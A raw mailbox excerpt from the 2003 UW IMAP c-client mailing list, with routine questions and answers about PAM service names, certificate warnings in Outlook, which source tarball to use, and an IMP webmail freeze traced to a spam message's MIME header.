-0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h75AjZ2x020908 for ; Tue, 5 Aug 2003 03:45:35 -0700 Received: from mx1.liv.ac.uk (mx1.liv.ac.uk [138.253.100.179]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h75AjWC0020521 for ; Tue, 5 Aug 2003 03:45:33 -0700 Received: from mailhub5.liv.ac.uk ([138.253.100.157]) by mx1.liv.ac.uk with esmtp (Exim 4.14) id 19jzJr-0006rH-Sa for c-client@u.washington.edu; Tue, 05 Aug 2003 11:45:31 +0100 Received: from localhost ([127.0.0.1] helo=mailhub5.liv.ac.uk) by mailhub5.liv.ac.uk with esmtp (Exim 4.14) id 19jzJr-00083v-PY for c-client@u.washington.edu; Tue, 05 Aug 2003 11:45:31 +0100 Received: from uxa.liv.ac.uk ([138.253.100.79]) by mailhub5.liv.ac.uk with esmtp (Exim 4.14) id 19jzJr-00083s-MM for c-client@u.washington.edu; Tue, 05 Aug 2003 11:45:31 +0100 Received: (from qq11@localhost) by uxa.liv.ac.uk (8.11.7+Sun/8.10.2/ajt05Jan2002) id h75AjVD12483; Tue, 5 Aug 2003 11:45:31 +0100 (BST) Message-Id: Date: Tue, 5 Aug 2003 11:45:26 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Alan Thew To: c-client@u.washington.edu Subject: Possible to set the PAM service name in pam_start? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: qq11@uxa.liv.ac.uk X-Scanner: exiscan for exim4 (http://duncanthrax.net/exiscan/) *19jzJr-0006rH-Sa*M/sjtXbFcpw* X-Uwash-Spam: Gauge=IIIIIIIII, Probability=9%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __RATWARE_EXISCAN, SPAM_PHRASE_00_01, SIGNATURE_SHORT_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It would be very useful if I could do this but it doesn't seem possible in imap-2002c1 on Solaris? Has anyone tried or have any pointers? I've tried setting what appears to be the default in mail.c (from "unknown" but that doesn't work). Thanks -- Alan Thew alan.thew@liverpool.ac.uk Computing Services,University of Liverpool Fax: +44 151 794-4442 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 10 13:24:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 10 Aug 2003 13:24:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AKOexd026641 for ; Sun, 10 Aug 2003 13:24:40 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AKObof024765 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 10 Aug 2003 13:24:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7AKOUTB025366; Sun, 10 Aug 2003 13:24:30 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AKJv2x057552 for ; Sun, 10 Aug 2003 13:19:57 -0700 Received: from smtp1.su.se (smtp1.su.se [130.237.162.112]) by mxu6.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AKJt7e026790 for ; Sun, 10 Aug 2003 13:19:55 -0700 Received: from localhost (smtp1.su.se [127.0.0.1]) by smtp1.su.se (Postfix) with ESMTP id 9CD8938138 for ; Sun, 10 Aug 2003 22:19:53 +0200 (CEST) Received: from smtp1.su.se ([127.0.0.1]) by localhost (smtp1.su.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31587-16 for ; Sun, 10 Aug 2003 22:19:53 +0200 (CEST) Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27]) by smtp1.su.se (Postfix) with ESMTP id 3300B3804B for ; Sun, 10 Aug 2003 22:19:53 +0200 (CEST) Received: from unni.dsv.su.se (localhost [127.0.0.1]) by spamcheck.local (Postfix) with ESMTP id 0E02E8B346 for ; Sun, 10 Aug 2003 22:19:53 +0200 (CEST) Received: from triton.dsv.su.se (triton.dsv.su.se [130.237.177.14]) by unni.dsv.su.se (Postfix) with ESMTP id D57B88B342 for ; Sun, 10 Aug 2003 22:19:52 +0200 (CEST) Message-Id: Date: Sun, 10 Aug 2003 22:19:52 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Per Olofsson To: c-client@u.washington.edu Subject: Re: using /novalidate-cert In-Reply-To: <200307311956.18474.himba@siol.net> References: <200307311956.18474.himba@siol.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by amavisd-new at su.se X-Uwash-Spam: Gauge=III, Probability=3%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, __IN_REP_TO, __REFERENCES, FORGED_RCVD_TRAIL, REFERENCES, IN_REP_TO, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 31 Jul 2003, himbA wrote: > Hello > > I'm new to the list. > I would like to get some pointers for using imapd in mixed enviroment clients, > winxp and suse linux 8.2. my server is using imap that came with suse > distribution, it is compiled with MD5 support by default, and I have to use a > certificate that is not signed by CA. Every time email client (outlook) is > started i get a warning about certificate not being signed by CA... > /novalidate-cert option is supposed to solve this problem, but i haven't been > able to make it work with outlook. > > How can i enable it ? You can't use /novalidate-cert, that option is only available for programs using c-client. There are two possible solutions, either disable SSL (not MD5) or tell Outlook to trust the certificate. Obviously, the latter is preferred. I believe Outlook uses the same certificate settings as IE, you can find them in "Internet Settings" or something like that. Import your certificate there. From pinedev@shivax2.cac.washington.edu Sun Aug 10 14:46:01 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 10 Aug 2003 14:46:01 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7ALk1xd028317 for ; Sun, 10 Aug 2003 14:46:01 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7ALjuWO000930 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 10 Aug 2003 14:45:56 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7ALjmKH031446; Sun, 10 Aug 2003 14:45:48 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7ALg52x061838 for ; Sun, 10 Aug 2003 14:42:05 -0700 Received: from jimsun.LinxNet.com (jimsun.linxnet.com [64.32.196.134]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7ALg3ZF003232 for ; Sun, 10 Aug 2003 14:42:04 -0700 Received: by jimsun.LinxNet.com (Postfix, from userid 332) id 466F04304; Sun, 10 Aug 2003 17:42:03 -0400 (EDT) Message-Id: <20030810214203.466F04304@jimsun.LinxNet.com> Date: Sun, 10 Aug 2003 17:42:03 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@LinxNet.com (Jim Seymour) To: c-client@u.washington.edu Subject: Which Tarball? X-Sun-Charset: US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='__HAS_MSGID, __SANE_MSGID, L33T_SP34K, SPAM_PHRASE_00_01, SIGNATURE_LONG_DENSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Okay, maybe I'm blind or stupid ;), but which IMAP tarball should I download? The FTP directory shows an imapd-2002d.tar.Z, dated 07/15/03, and an imap.tar.Z dated 06/16/03. I'm *guessing* the latter, but lacking a revision number... Which is recommended for production environments? Thanks, Jim -- Jim Seymour | PGP Public Key available at: jseymour@LinxNet.com | http://www.uk.pgp.net/pgpnet/pks-commands.html http://jimsun.LinxNet.com | -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Aug 10 15:27:45 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 10 Aug 2003 15:27:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AMRjxd029332 for ; Sun, 10 Aug 2003 15:27:45 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AMRcWO001927 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 10 Aug 2003 15:27:38 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7AMRYKH031234; Sun, 10 Aug 2003 15:27:34 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AMPL2x057348 for ; Sun, 10 Aug 2003 15:25:22 -0700 Received: from banana.telerian.net (mailgate.telerian.net [80.177.88.242] (may be forged)) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7AMPGrL003260 for ; Sun, 10 Aug 2003 15:25:20 -0700 Received: from banana.telerian.net (localhost [127.0.0.1]) by banana.telerian.net (8.12.8/8.12.9) with ESMTP id h7AMP7Jl017700; Sun, 10 Aug 2003 23:25:07 +0100 (BST) Received: from localhost (mtelvers@localhost) by banana.telerian.net (8.12.8/8.12.8/Submit) with ESMTP id h7AMP72o017696; Sun, 10 Aug 2003 23:25:07 +0100 (BST) Message-Id: Date: Sun, 10 Aug 2003 23:25:06 +0100 (BST) Reply-To: mark.elvers@telerian.net Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: mtelvers@telerian.net To: Jim Seymour Cc: c-client@u.washington.edu Subject: Re: Which Tarball? In-Reply-To: <20030810214203.466F04304@jimsun.LinxNet.com> References: <20030810214203.466F04304@jimsun.LinxNet.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=III, Probability=3%, Report='__USER_AGENT_PINE, __HAS_MSGID, __SANE_MSGID, NO_REAL_NAME, MAY_BE_FORGED, __IN_REP_TO, __REFERENCES, REFERENCES, IN_REP_TO, L33T_SP34K, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_00_01' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN imap.tar.Z is a symlink and always points to the current production version. Currently this is imap-2002d.tar.Z The development snapshot is imap-2003.DEV.tar.Z which currently points to imap-2003.DEV.SNAP-0307151558.tar.Z Mark On Sun, 10 Aug 2003, Jim Seymour wrote: > > Okay, maybe I'm blind or stupid ;), but which IMAP tarball should I > download? The FTP directory shows an imapd-2002d.tar.Z, dated > 07/15/03, and an imap.tar.Z dated 06/16/03. I'm *guessing* the latter, > but lacking a revision number... > > Which is recommended for production environments? > > Thanks, > Jim > -- > Jim Seymour | PGP Public Key available at: > jseymour@LinxNet.com | http://www.uk.pgp.net/pgpnet/pks-commands.html > http://jimsun.LinxNet.com | > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ > From pinedev@shivax2.cac.washington.edu Mon Aug 11 13:45:58 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Aug 2003 13:45:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BKjwxd004298 for ; Mon, 11 Aug 2003 13:45:58 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BKjsWO004148 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Aug 2003 13:45:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7BKjnKH020170; Mon, 11 Aug 2003 13:45:49 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BKfe2x045600 for ; Mon, 11 Aug 2003 13:41:40 -0700 Received: from pumas.iingen.unam.mx (pumas.iingen.unam.mx [132.248.53.245]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BKfbJL014466 for ; Mon, 11 Aug 2003 13:41:38 -0700 Received: from Cmped12087 ([132.248.156.87]) by pumas.iingen.unam.mx (8.x.x/8.x.x) with SMTP id h7BKcrLR015359 for ; Mon, 11 Aug 2003 15:38:55 -0500 (CDT) Message-Id: <016a01c36050$e7f1f5b0$579cf884@Cmped12087> Date: Mon, 11 Aug 2003 15:38:29 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Fernando Maldonado S." To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0167_01C3601E.9CFEDE60" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-RAVMilter-Version: 8.4.2(snapshot 20021217) (pumas) X-Uwash-Spam: Gauge=XXXXXXIIII, Probability=64%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, NO_MX_FOR_FROM, __SUBJ_MISSING, SUBJ_MISSING, PRIORITY_NO_NAME, SPAM_PHRASE_00_01, HTML_70_90' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0167_01C3601E.9CFEDE60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable suscribe C-CLIENT fernando ------=_NextPart_000_0167_01C3601E.9CFEDE60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    suscribe C-CLIENT=20 fernando
    ------=_NextPart_000_0167_01C3601E.9CFEDE60-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 11 14:12:54 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Aug 2003 14:12:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BLCrxd005873 for ; Mon, 11 Aug 2003 14:12:53 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BLCnWO005281 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Aug 2003 14:12:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7BLCXTB027590; Mon, 11 Aug 2003 14:12:34 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BL8k2x005082 for ; Mon, 11 Aug 2003 14:08:46 -0700 Received: from pumas.iingen.unam.mx (pumas.iingen.unam.mx [132.248.53.245]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7BL8iZF005606 for ; Mon, 11 Aug 2003 14:08:44 -0700 Received: from Cmped12087 ([132.248.156.87]) by pumas.iingen.unam.mx (8.x.x/8.x.x) with SMTP id h7BL60LR015903 for ; Mon, 11 Aug 2003 16:06:01 -0500 (CDT) Message-Id: <019201c36054$821eecd0$579cf884@Cmped12087> Date: Mon, 11 Aug 2003 16:04:16 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Fernando Maldonado S." To: Subject: Trouble with headers MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_018F_01C36022.37522230" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-RAVMilter-Version: 8.4.2(snapshot 20021217) (pumas) X-Uwash-Spam: Gauge=XXXXXIIIII, Probability=55%, Report='__HAS_MSGID, __SANE_MSGID, __HAS_MIMEOLE, __HAS_X_PRIORITY, __HAS_MSMAIL_PRI, __EVITE_CTYPE, NO_MX_FOR_FROM, PRIORITY_NO_NAME, BIG_FONT, SPAM_PHRASE_02_03' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_018F_01C36022.37522230 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have compiled the imap-2002c1 IMAP Toolkit Environment on October 13=20 2001=20 My operative System is Solaris 8=20 I had an older version of IMAP, but worked correctly, when I installed = the new=20 one with=20 ./configure gso SSLTYPE=3Dunix=20 make=20 I copied the binary file result of compilation of imapd=20 The problem is when I read my mail on web among IMP my Mailbox freeze = and the=20 navigator don't answer=20 If I configure Outlook like an imap client, it works fine and load evry=20 message!!!=20 ________=20 That's why I think the trouble is in the IMP application=20 After analize the mailbox I find the message generating the problem has = the=20 next=20 headers=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=20 >From basuravgajvgj@yahoo.com Mon Jul 14 01:06:02 2003=20 X-UIDL: U?A"![BJ!!\a~!!kik"!=20 Return-Path: =20 Received: from quetzal.iingen.unam.mx (quetzal.iingen.unam.mx=20 [132.248.155.13])=20 by pumas.iingen.unam.mx (8.x.x/8.x.x) with ESMTP id = h6E661M3015742=20 for ; Mon, 14 Jul 2003 01:06:01 -0500=20 (CDT)=20 Received: from mail-ale01.alestra.net.mx (mail-ale01.alestra.net.mx=20 [207.248.224.149] (may be forged))=20 by quetzal.iingen.unam.mx (8.12.9/8.12.9) with ESMTP id=20 h6E659R3004101=20 for ; Mon, 14 Jul 2003 01:05:09 = -0500=20 (CDT)=20 Received: from pavilion (148.244.165.198) by mail-ale01.alestra.net.mx=20 (5.1.061)=20 id 3F0ACAA5001D9E0F; Mon, 14 Jul 2003 01:04:57 -0500=20 Message-ID: <3F0ACAA5001D9E0F@mail-ale01.alestra.net.mx> (added by=20 postmaster@alestra.net.mx)=20 From: "Dexpro" =20 Subject: DIRECTORIO EMPRESARIAL E INDUSTRIAL=20 To: "Mercadotecmia" =20 Content-Type: multipart/alternative;=20 boundary=3D"=3D_NextPart_2rfkindysadvnqw3nerasdf";=20 MIME-Version: 1.0=20 Reply-To: ventas@bdatos.com.mx=20 Date: Mon, 14 Jul 2003 01:02:11 +0200=20 X-Priority: 3=20 X-Library: Indy 8.0.22=20 X-RAVMilter-Version: 8.4.2(snapshot 20021217) (pumas)=20 X-IMAPbase: 1058482789 81=20 Status: RO=20 X-Status:=20 X-Keywords:=20 X-UID: 62=20 This is a multi-part message in MIME format=20 --=3D_NextPart_2rfkindysadvnqw3nerasdf=20 Content-Type: text/plain; charset=3D"iso-8859-1"=20 Content-Transfer-Encoding: quoted-printable=20 http://www.bdatos.com.mx=20 --=3D_NextPart_2rfkindysadvnqw3nerasdf=20 Content-Type: text/html; charset=3D"iso-8859-1"=20 Content-Transfer-Encoding: quoted-printable=20 Content-Base: "http://www.bdatos.com.mx/"=20 Content-Location: "http://www.bdatos.com.mx/"=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=20 The header that trigger all the troubble is=20 Content-Type: multipart/alternative;=20 boundary=3D"=3D_NextPart_2rfkindysadvnqw3nerasdf";=20 ___________________________________________________________________=20 The question is what's happening? The old version worked correctly but = when I=20 changed to the new one I have the problem=20 Is it an IMAP problem???=20 Is PHP???=20 I hope somebody can help me=20 Thank you very much!!=20 *****************************************=20 ***************************************** *=20 * Instituto de Ingenier=EDa UNAM * *=20 * Coordinaci=F3n de Sistemas de C=F3mputo * *=20 * =C1rea de Servidores Unix * *=20 * Tel.56-22-80-92 al 97 * *=20 * * *=20 *Fernando Maldonado * *=20 *Tel. 044-55-25-40-86-33 * *=20 *Sky 52-57-79-79 * *=20 *Pin 1558337930 * *=20 *1558337930@skyams.com * *=20 * * *=20 *****************************************=20 ------=_NextPart_000_018F_01C36022.37522230 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

    I have=20  compiled the imap-2002c1 IMAP Toolkit Environment on October 13 =
    2001=20

    My operative System is Solaris 8

    I had an older version = of IMAP,=20 but worked correctly, when I installed the new
    one with =

    ./configure=20 gso SSLTYPE=3Dunix
    make

    I copied the binary file result of = compilation=20 of imapd


    The problem is when I read my mail on web among IMP = my=20 Mailbox freeze and the
    navigator don't answer

    If I configure = Outlook=20 like an imap client, it works fine and load evry
    message!!! =
    ________=20

    That's why I think the trouble is in the IMP application =

    After=20 analize the mailbox I find the message generating the problem has the =
    next=20
    headers=20

    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=20
    >From basuravgajvgj@yahoo.com  Mon Jul = 14=20 01:06:02 2003
    X-UIDL: U?A"![BJ!!\a~!!kik"!
    Return-Path:=20 <basuravgajvgj@yahoo.com>
    Received: from = quetzal.iingen.unam.mx=20 (quetzal.iingen.unam.mx
    [132.248.155.13])
         =  =20  by pumas.iingen.unam.mx (8.x.x/8.x.x) with ESMTP id h6E661M3015742 =
            for = <mbv@pumas.iingen.unam.mx>; Mon,=20 14 Jul 2003 01:06:01 -0500
    (CDT)
    Received: from=20 mail-ale01.alestra.net.mx (mail-ale01.alestra.net.mx =
    [207.248.224.149] (may=20 be forged))
            by = quetzal.iingen.unam.mx=20 (8.12.9/8.12.9) with ESMTP id
    h6E659R3004101
         =  =20  for <mbv@quetzal.iingen.unam.mx>; Mon, 14 Jul 2003 01:05:09 = -0500=20
    (CDT)
    Received: from pavilion (148.244.165.198) by=20 mail-ale01.alestra.net.mx
    (5.1.061)
           =  id=20 3F0ACAA5001D9E0F; Mon, 14 Jul 2003 01:04:57 -0500
    Message-ID:=20 <3F0ACAA5001D9E0F@mail-ale01.alestra.net.mx> (added by=20
    postmaster@alestra.net.mx)
    From: "Dexpro"=20 <basuravgajvgj@yahoo.com>
    Subject: DIRECTORIO EMPRESARIAL E = INDUSTRIAL=20
    To: "Mercadotecmia" <ventas@bdatos.com.mx>
    Content-Type:=20 multipart/alternative; =
    boundary=3D"=3D_NextPart_2rfkindysadvnqw3nerasdf";=20
    MIME-Version: 1.0
    Reply-To: ventas@bdatos.com.mx
    Date: Mon, = 14 Jul=20 2003 01:02:11 +0200
    X-Priority: 3
    X-Library: Indy 8.0.22=20
    X-RAVMilter-Version: 8.4.2(snapshot 20021217) (pumas) =
    X-IMAPbase:=20 1058482789 81
    Status: RO
    X-Status:
    X-Keywords:
    X-UID: 62 =

    This is a multi-part message in MIME format=20

    --=3D_NextPart_2rfkindysadvnqw3nerasdf
    Content-Type: = text/plain;=20 charset=3D"iso-8859-1"
    Content-Transfer-Encoding: quoted-printable=20

    http://www.bdatos.com.mx=20

    --=3D_NextPart_2rfkindysadvnqw3nerasdf
    Content-Type: = text/html;=20 charset=3D"iso-8859-1"
    Content-Transfer-Encoding: quoted-printable=20
    Content-Base: "    http://www.bdatos.com.mx/"=20
    Content-Location: "    http://www.bdatos.com.mx/"=20


    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=20

    The header that trigger all the troubble is =

    Content-Type:=20 multipart/alternative; =
    boundary=3D"=3D_NextPart_2rfkindysadvnqw3nerasdf";=20

    _________________________________________________________________= __=20

    The question is what's happening? The old version worked = correctly but=20 when I
    changed to the new one I have the problem

    Is it an = IMAP=20 problem???
    Is PHP???

    I hope somebody can help me =

    Thank you=20 very much!!

              =20  *****************************************
         =  =20    ***************************************** * =
        =20      *     Instituto de Ingenier=EDa UNAM =    =20  * *
              * =  Coordinaci=F3n de=20 Sistemas de C=F3mputo  * *
             =  *=20        =C1rea de Servidores Unix     =    *=20 *
              *       =  =20 Tel.56-22-80-92 al 97         * *
       =  =20      *               =  =20                     =   * *=20
              *Fernando Maldonado   =  =20                 * * =
      =20        *Tel. 044-55-25-40-86-33       =  =20        * *
             =  *Sky=20 52-57-79-79                 =  =20      * *
              *Pin = 1558337930                 =    =20     * *
            =20  *1558337930@skyams.com             =  =20    * *
              *   =  =20                     =  =20             * *
         =  =20    *****************************************=20
    ------=_NextPart_000_018F_01C36022.37522230-- From pinedev@shivax2.cac.washington.edu Mon Aug 11 23:28:44 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Aug 2003 23:28:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C6Sixd024526 for ; Mon, 11 Aug 2003 23:28:44 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C6SfWO021002 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 11 Aug 2003 23:28:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C6SaJ8028348; Mon, 11 Aug 2003 23:28:36 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h7C6RX2x016282 for ; Mon, 11 Aug 2003 23:27:33 -0700 Received: from web9801.mail.yahoo.com (web9801.mail.yahoo.com [216.136.129.211]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h7C6RVrL031836 for ; Mon, 11 Aug 2003 23:27:32 -0700 Received: from [202.62.83.99] by web9801.mail.yahoo.com via HTTP; Mon, 11 